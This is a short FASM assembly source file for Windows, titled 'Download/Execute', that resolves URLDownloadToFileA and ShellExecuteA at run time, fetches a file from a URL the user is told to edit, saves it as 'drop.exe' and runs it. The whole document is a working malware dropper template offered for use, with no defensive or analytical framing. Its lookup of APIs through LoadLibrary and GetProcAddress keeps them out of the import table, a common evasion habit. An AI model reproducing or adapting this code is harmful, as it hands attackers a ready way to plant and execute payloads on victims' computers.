Download/Execute in FASM

format PE GUI 4.0
; FASM Download/Execute
; EDIT _url and _file params
; FASM used to compile

entry start
include 'include\win32a.inc'
section '.data' data readable writeable
_urlmon                db 'urlmon.dll',0
_shell                db 'shell32.dll',0
_URLDownloadToFile    db 'URLDownloadToFileA',0
_ShellExecute        db 'ShellExecuteA',0;

_url    db 'http://localhost/',0 ;EDIT THIS
_file    db 'drop.exe',0 ;AND THIS

section '.code' code readable executable
start:
invoke LoadLibrary, _urlmon
cmp eax, 0
je exit
invoke GetProcAddress, eax, _URLDownloadToFile
cmp eax, 0
je exit
push eax
push 0
push 0
push _file
push _url
push 0
call eax
pop eax
invoke FreeLibrary, eax

invoke LoadLibrary, _shell
cmp eax, 0
je exit
invoke GetProcAddress, eax, _ShellExecute
cmp eax, 0
je exit
push eax
push SW_SHOW
push 0
push 0
push _file
push 0
push 0
call eax
pop eax
invoke FreeLibrary, eax

exit:
invoke ExitProcess, 0

section '.idata' import data readable
library kernel32,'kernel32.dll'

import kernel32, ExitProcess, 'ExitProcess',\
LoadLibrary,'LoadLibraryA',\
GetProcAddress, 'GetProcAddress',\
FreeLibrary, 'FreeLibrary'